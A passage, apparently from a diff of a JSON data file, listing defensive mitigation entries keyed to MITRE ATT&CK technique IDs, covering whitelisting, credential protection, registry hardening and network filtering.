to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Network Share Discovery Mitigation - T1135", - "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21" - }, - { - "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.", - "value": "Regsvcs/Regasm Mitigation - T1121", - "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a" - }, - { - "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", - "value": "Application Deployment Software Mitigation - T1017", - "uuid": "c88151a5-fe3f-4773-8147-d801587065a4" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Commonly Used Port Mitigation - T1043", - "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95" - }, - { - "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)", - "value": "Windows Management Instrumentation Mitigation - T1047", - "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", - "value": "Hooking Mitigation - T1179", - "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf" - }, - { - "description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", - "value": "Sudo Mitigation - T1169", - "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c" - }, - { - "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)", - "value": "Distributed Component Object Model Mitigation - T1175", - "uuid": "910482b1-6749-4934-abcb-3e34d58294fc" - }, - { - "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", - "value": "Path Interception Mitigation - T1034", - "uuid": "e0703d4f-3972-424a-8277-84004817e024" - }, - { - "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Graphical User Interface Mitigation - T1061", - "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d" - }, - { - "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "NTFS Extended Attributes Mitigation - T1096", - "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5" - }, - { - "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Indicator Removal from Tools Mitigation - T1066", - "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271" - }, - { - "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", - "value": "Re-opened Applications Mitigation - T1164", - "uuid": "61d02387-351a-453e-a575-160a9abc3e04" - }, - { - "description": "Restrict user's abilities to create Launch Agents with group policy.", - "value": "Launch Agent Mitigation - T1159", - "uuid": "121b2863-5b97-4538-acb3-f8aae070ec13" - }, - { - "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", - "value": "Gatekeeper Bypass Mitigation - T1144", - "uuid": "1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158" - }, - { - "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Clipboard Data Mitigation - T1115", - "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf" - }, - { - "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", - "value": "Create Account Mitigation - T1136", - "uuid": "9a5b7194-88e0-4579-b82f-e3c27b8cca80" - }, - { - "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Registry Run Keys / Start Folder Mitigation - T1060", - "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a" - }, - { - "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)", - "value": "Multi-Stage Channels Mitigation - T1104", - "uuid": "514e7371-a344-4de7-8ec3-3aa42b801d52" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Data Staged Mitigation - T1074", - "uuid": "4320b080-9ae9-4541-9b8b-bcd0961dbbbd" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", - "value": "Launch Daemon Mitigation - T1160", - "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Data from Removable Media Mitigation - T1025", - "uuid": "39706d54-0d06-4a25-816a-78cc43455100" - }, - { - "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", - "value": "Hidden Users Mitigation - T1147", - "uuid": "12cba7de-0a22-4a56-b51e-c514c67c3b43" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Data from Network Shared Drive Mitigation - T1039", - "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd" - }, - { - "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", - "value": "Dylib Hijacking Mitigation - T1157", - "uuid": "dc43c2fe-355e-4a79-9570-3267b0992784" - }, - { - "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", - "value": "Account Manipulation Mitigation - T1098", - "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425" - }, - { - "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", - "value": "PowerShell Mitigation - T1086", - "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2" - }, - { - "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", - "value": "Forced Authentication Mitigation - T1187", - "uuid": "7009ba4d-83d4-4851-9fbb-e09e28497765" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Information Discovery Mitigation - T1082", - "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67" - }, - { - "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", - "value": "Winlogon Helper DLL Mitigation - T1004", - "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3" - }, - { - "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", - "value": "Password Filter DLL Mitigation - T1174", - "uuid": "00d7d21b-69d6-4797-88a2-c86f3fc97651" - }, - { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", - "value": "Netsh Helper DLL Mitigation - T1128", - "uuid": "624d063d-cda8-4616-b4e4-54c04e427aec" - }, - { - "description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Network Share Connection Removal Mitigation - T1126", - "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Connection Proxy Mitigation - T1090", - "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Application Window Discovery Mitigation - T1010", - "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b" - }, - { - "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.", - "value": "External Remote Services Mitigation - T1133", - "uuid": "d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2" - }, - { - "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", - "value": "Pass the Hash Mitigation - T1075", - "uuid": "bcee7b05-89a6-41a5-b7aa-fce4da7ede9e" - }, - { - "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Account Discovery Mitigation - T1087", - "uuid": "5c49bc54-9929-48ca-b581-7018219b5a97" - }, - { - "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)", - "value": "Trusted Developer Utilities Mitigation - T1127", - "uuid": "823fbfe9-b015-4bf3-9e67-d340c7373ca0" - }, - { - "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Pass the Ticket Mitigation - T1097", - "uuid": "3a476d83-43eb-4fad-9b75-b1febd834e3d" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Owner/User Discovery Mitigation - T1033", - "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44" - }, - { - "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)", - "value": "Credential Dumping Mitigation - T1003", - "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a" - }, - { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)", - "value": "Regsvr32 Mitigation - T1117", - "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Process Hollowing Mitigation - T1093", - "uuid": "7c39ebbf-244e-4d1c-b0ac-b282453ece43" - }, - { - "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", - "value": "LC_MAIN Hijacking Mitigation - T1149", - "uuid": "6e7db820-9735-4545-bc64-039bc4ce354b" - }, - { - "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (netdom trust /domain: /quarantine:yes (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (netdom trust /domain: /EnableSIDHistory:no (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (netdom trust /domain: /quarantine (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009", - "value": "SID-History Injection Mitigation - T1178", - "uuid": "b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55" - }, - { - "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", - "value": "Startup Items Mitigation - T1165", - "uuid": "94927849-03e3-4a07-8f4c-9ee21b626719" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Execution through API Mitigation - T1106", - "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8" - }, - { - "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Taint Shared Content Mitigation - T1080", - "uuid": "f0a42cad-9b1f-44da-a672-718f18381018" - }, - { - "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Redundant Access Mitigation - T1108", - "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e" - }, - { - "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", - "value": "Domain Fronting Mitigation - T1172", - "uuid": "62ae52c9-7197-4f5b-be1d-10d2e1df2c96" - }, - { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Audio Capture Mitigation - T1123", - "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "New Service Mitigation - T1050", - "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab" - }, - { - "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", - "value": "Scripting Mitigation - T1064", - "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6" - }, - { - "description": "Prevent plist files from being modified by users by making them read-only.", - "value": "Plist Modification Mitigation - T1150", - "uuid": "2d704e56-e689-4011-b989-bf4e025a8727" - }, - { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", - "value": "Rundll32 Mitigation - T1085", - "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae" - }, - { - "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.", - "value": "Multi-hop Proxy Mitigation - T1188", - "uuid": "752db800-ea54-4e7a-b4c1-2a0292350ea7" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Fallback Channels Mitigation - T1008", - "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "System Service Discovery Mitigation - T1007", - "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2" - }, - { - "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", - "value": "Indicator Removal on Host Mitigation - T1070", - "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0" - }, - { - "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", - "value": "Service Registry Permissions Weakness Mitigation - T1058", - "uuid": "9378f139-10ef-4e4b-b679-2255a0818902" - }, - { - "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting 